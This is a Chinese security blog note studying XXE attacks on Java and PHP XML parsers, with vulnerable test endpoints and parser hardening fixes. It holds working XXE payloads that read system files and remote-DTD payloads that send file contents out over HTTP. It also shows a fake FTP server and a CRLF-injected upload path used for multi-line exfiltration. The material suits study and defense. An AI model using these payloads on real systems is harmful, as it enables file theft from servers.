0x00 前言
感觉之前写的还是模糊,再回顾一下,基本结构就不说了
这里列一下,不同程序所支持的协议
LIBXML2 |
PHP |
JAVA |
.NET |
file |
file |
http |
file |
http |
http |
https |
http |
ftp |
ftp |
ftp |
https |
|
php |
file |
ftp |
|
compress.zlib |
jar |
|
|
compress.bzip2 |
netdoc |
|
|
data |
mailto |
|
|
glob |
gopher * |
|
|
phar |
|
|
其中php
支持的协议会更多一些,但需要一定的扩展支持
Scheme |
Required |
https,ftps |
openssl |
zip |
zip |
ssh2.shell,ssh2.exec,ssh2.tunnel,ssh2.sftp,ssh2.scp |
ssh2 |
rar |
rar |
ogg |
oggvorbis |
expect |
expect |
其中expect
可以做到代码执行
0x01 Java
在Java种有很多类是可以解析xml文档的
具体可以参考github
比如下面
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| javax.xml.parsers.DocumentBuilder javax.xml.stream.XMLStreamReader org.jdom.input.SAXBuilder org.jdom2.input.SAXBuilder javax.xml.parsers.SAXParser org.dom4j.io.SAXReader org.xml.sax.XMLReader javax.xml.transform.sax.SAXSource javax.xml.transform.TransformerFactory javax.xml.transform.sax.SAXTransformerFactory javax.xml.validation.SchemaFactory javax.xml.bind.Unmarshaller javax.xml.xpath.XPathExpression ...
|
漏洞类型
回显型
这里以javax.xml.parsers.DocumentBuilder
为例
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| @RequestMapping("xxe") @ResponseBody public String xxe(@RequestBody String rawMsg){ try { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(rawMsg); InputSource is = new InputSource(sr); Document document = db.parse(is); StringBuilder buf = new StringBuilder(); NodeList rootNodeList = document.getChildNodes(); for (int i = 0; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); NodeList child = rootNode.getChildNodes(); for (int j = 0; j < child.getLength(); j++) { Node node = child.item(j); buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent())); } } sr.close(); return buf.toString(); } catch (Exception e) { return e.getMessage(); } }
|
这里没有什么好说的,测试payload
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///C:\\windows\\win.ini" >]> <root> <name>&xxe;</name> </root>
|
成功回显

无回显型
这里以org.xml.sax.XMLReader
为例子
测试代码
1 2 3 4 5 6 7 8 9 10 11
| @ResponseBody @RequestMapping("bindxxe") public String bindXxe(@RequestBody String rawMsg){ try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); xmlReader.parse(new InputSource(new StringReader(rawMsg))); return "xmlReader xxe vuln code"; } catch (Exception e) { return e.getMessage(); } }
|
这种可以通过dsnlog
类似的平台测试

利用限制
存在回显的情况啥都好说,在无回显的情况下,要怎么获取数据呢
只能带外查询,关于带外的协议就是http或者ftp
但是http的协议知识get请求,这种情况下不能带CR
或者LF
字符,也就是无法读取存在换行符的文件
http协议
测试payload
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///F:\\aaa.txt"> <!ENTITY % remote SYSTEM "http://127.0.0.1:8225/1.xml"> %remote; %send; ]> <root></root>
|
1.xml
文件
1 2 3 4
| <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://127.0.0.1:8080/writefile?contents=%file;'>" > %payload;
|
接受参数的方法
1 2 3 4 5 6 7 8
| @ResponseBody @RequestMapping("writefile") public String writeFile(@RequestParam(value = "contents") String fileContents) throws IOException { BufferedWriter out = new BufferedWriter(new FileWriter("F:\\javaweb\\test.txt",false)); out.write(fileContents); out.close(); return "finish"; }
|
可以成功写入单行文件

而对于多行文件则会报错

ftp协议
其实我测试的时候ftp也不行了,但是前面有文章可以测,不知道方式是什么
我的ftp同样也会报这个错误,当然这是环境中的代码

具体可以拿之前的代码测试
但是由于这是jar
包中的东西,不好修改,就是进入被动模式之后,客户端会发来一个QUIT
,估计就是换行符被检测到了
这里搞一下python
的库
测试代码:服务端
ftpserver.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_user('admin', '123456', r'F:\ftp', perm='elradfmwMT')
handler = FTPHandler handler.authorizer = authorizer
server = FTPServer(('127.0.0.1', 7777), handler) server.serve_forever()
|
ftpclient.py
,这里只留下上传功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from ftplib import FTP import time, tarfile, os
def ftpconnect(host, port, username, password): ftp = FTP() ftp.connect(host, port) ftp.login(username, password) return ftp
def downloadfile(ftp, remotepath, localpath): bufsize = 1024 fp = open(localpath, 'wb') ftp.retrbinary('RETR ' + remotepath, fp.write, bufsize) ftp.set_debuglevel(0) fp.close()
def uploadfile(ftp, remotepath, localpath): bufsize = 1024 fp = open(localpath, 'rb') ftp.storbinary('STOR ' + remotepath, fp, bufsize) ftp.set_debuglevel(0) fp.close()
if __name__ == "__main__": ftp = ftpconnect("127.0.0.1", 7777, "admin", "123456") uploadfile(ftp, '/upload/1.txt\r\n/dasd', "F:/aaa.txt")
print(ftp.getwelcome()) pwd_path = ftp.pwd() print("FTP当前路径:", pwd_path)
|
可以看到的是,确实现在在库里面都被禁掉了

我们可以尝试注释,可以发送了但是会收到一个错误的回复

抓取数据包可以看到,回复的500异常

这里需要提一下ftp的命令
FTP 命令 |
说明 |
ABOR |
使服务器终止前一个 FTP 服务命令,以及任何相关数据传输 |
ACCT |
使用一个 Telnet 字符串来指明用户的账户 |
ALLO |
为服务器上的文件存储器分配空间 |
APPE |
添加文件到服务器同名文件 |
CDUP |
改变服务器上的父目录 |
CWD |
改变服务器上的工作目录 |
DELE |
删除服务器上的指定文件 |
EPSV |
进入扩展被动模式 |
HELP |
返回指定命令信息 |
LIST |
如果是文件名,列出文件信息;如果是目录,则列出文件列表 |
MODE |
传输模式(S=流模式、B=快模式、C=压缩模式) |
MKD |
在服务器上建立指定目录 |
NLST |
列出指定目录内容 |
NOOP |
无动作,仅让服务器返回确认信息 |
PASS |
系统登录密码 |
PASV |
请求服务器,等待数据连接 |
PORT |
IP 地址和两字节的端口 ID |
PWD |
显示当前工作目录 |
QUIT |
从 FTP 服务器上退出登录 |
REIN |
重新初始化登录状态连接 |
REST |
由特定偏移量重启文件传递 |
RETR |
从服务器上找回(复制)文件 |
RMD |
在服务器上删除指定目录 |
RNFR |
对旧路径重命名 |
RNTO |
对新路径重命名 |
SITE |
由服务器提供的站点特殊参数 |
SMNT |
挂载指定文件结构 |
STAT |
在当前程序或目录上返回信息 |
STOR |
储存(复制)文件到服务器上 |
STOU |
储存文件到服务器名称上 |
STRU |
数据结构(F=文件、R=记录、P=页面) |
SYST |
返回服务器使用的操作系统 |
TYPE |
数据类型(A=ASCII、E=EBCDIC、I=binary) |
USER> |
系统登录的用户名 |
还有就是应答码
应答码 |
说明 |
110 |
新文件指示器上的重启标记 |
120 |
服务器准备就绪的时间(分钟数) |
125 |
打开数据连接,开始传输 |
150 |
打开数据连接 |
200 |
就绪命令(命令成功) |
202 |
命令没有执行 |
211 |
系统状态回复 |
212 |
目录状态回复 |
213 |
文件状态回复 |
214 |
帮助信息回复 |
215 |
系统类型回复 |
220 |
服务就绪 |
221 |
退出 FTP |
225 |
打开数据连接 |
226 |
结束数据连接(下载完成、目录列表完成等) |
227 |
进入被动模式(IP 地址、ID 端口) |
230 |
成功登录 FTP 服务 |
250 |
完成目录切换 |
257 |
路径名建立 |
331 |
要求密码 |
332 |
要求账号 |
350 |
文件行为暂停 |
421 |
服务关闭 |
425 |
无法打开数据连接 |
426 |
结束连接 |
450 |
文件不可用 |
451 |
遇到本地错误 |
452 |
磁盘空间不足 |
500 |
无效命令 |
501 |
错误参数 |
502 |
命令没有执行 |
503 |
错误指令序列 |
504 |
无效命令参数 |
530 |
登录 FTP 服务失败 |
532 |
存储文件需要账号 |
550 |
文件不存在 |
551 |
不知道的页类型 |
552 |
超过存储分配 |
553 |
文件名不允许 |
然后我们可以根据自己抓取的数据,伪造一个服务端
最终测试代码client
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from ftplib import FTP
def ftpconnect(host, port, username, password): ftp = FTP() ftp.connect(host, port) ftp.login(username, password) return ftp
def uploadfile(ftp, remotepath, localpath): bufsize = 1024 fp = open(localpath, 'rb') ftp.storbinary('STOR ' + remotepath, fp, bufsize) ftp.set_debuglevel(0) fp.close()
if __name__ == "__main__": ftp = ftpconnect("127.0.0.1", 7777, "admin", "123456") with open("C:/windows/win.ini", 'r') as f: content = f.read() f.close() uploadfile(ftp, '/upload/1.txt\r\n/aaaa', "F:/aaa.txt")
|
server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import socket
host = '127.0.0.1' port = 7777 sk = socket.socket() sk.bind((host, port)) sk.listen(5) conn, address = sk.accept() conn.send(b"220 ready\n") print(conn.recv(20)) conn.send(b"331 Username ok,send password\n") print(conn.recv(20)) conn.send(b"230 Login successful\n") print(conn.recv(20)) conn.send(b"200 Type set to: Bin\n") print(conn.recv(20)) conn.send(b"227 127,0,0,1,4,210\n") sk2 = socket.socket() sk2.bind((host, 1234)) sk2.listen(5) print(conn.recv(20)) conn.send(b"200 \n") content = conn.recv(20) while content != b'': print(content) conn.send(b"200 \n") content = conn.recv(1024)
conn.close()
|
成功获取到了数据

但是这都是在底层的库文件没有禁的情况下
猜测java
也一样,估计被禁掉了
那就算了,如果有的话参考文章关于Java 中 XXE 的利用限制探究
修复
1 2 3
| xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
|
0x02 PHP
PHP
下自然也分有回显和无回显
在PHP
中的漏洞函数有
- simplexml_load_string函数
- simplexml_load_file函数
- SimpleXMLElement对象
- DOMDocument类
这里就以simplexml_load_string
为例
回显
测试代码
1 2 3 4 5
| <?php $note = file_get_contents("php://input"); $xml = simplexml_load_string($note,'SimpleXMLElement',LIBXML_NOENT); var_dump($xml); ?>
|
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///C:/windows/win.ini" >]> <root> <name>&xxe;</name> </root>
|

无回显
重点还是无回显的,比起java来,php存在大量的编码器,倒是可以轻松做到文件读取
可以通过php伪协议

利用方式和上面一样加载一个远程的dtd,然后外带出来
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/windows/win.ini"> <!ENTITY % remote SYSTEM "http://127.0.0.1:8225/1.xml"> %remote; %send; ]> <root></root>
|
1 2 3 4
| <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://127.0.0.1:8080/writefile?contents=%file;'>" > %payload;
|
1 2 3 4 5 6 7 8
| @ResponseBody @RequestMapping("writefile") public String writeFile(@RequestParam(value = "contents") String fileContents) throws IOException { BufferedWriter out = new BufferedWriter(new FileWriter("F:\\javaweb\\test.txt",false)); out.write(fileContents); out.close(); return "finish"; }
|
这里为什么选择java呢
是因为get参数的限制,其实http协议本身对get并没有限制,不同的长度知识浏览器和web服务器决定的
暂时没找到apache的配置
在nginx下可以通过
client_header_buffer_size
配置,此参数默认为1k
但是配置了之后,会发现,基于nginx
的php
环境依然不成,截图没了
这是因为在cgi
模式下,最大的接受长度为65535
但是目测在tomcat
下并没有这个限制,单一的tomcat
,所以可以用tomcat
读取大文件
比如mysql
的数据表文件什么的几十k
的目测问题不大
修复
取决于libxml
库的版本,现在基本看不到这个洞了,但是还有
如果想在代码中修复的话,就在解析xml
之前添加如下代码
1
| libxml_disable_entity_loader(true);
|
0x03 end
本来想好好写一下php
的,但是现在发现没必要了,只记录一个操作方法就可以了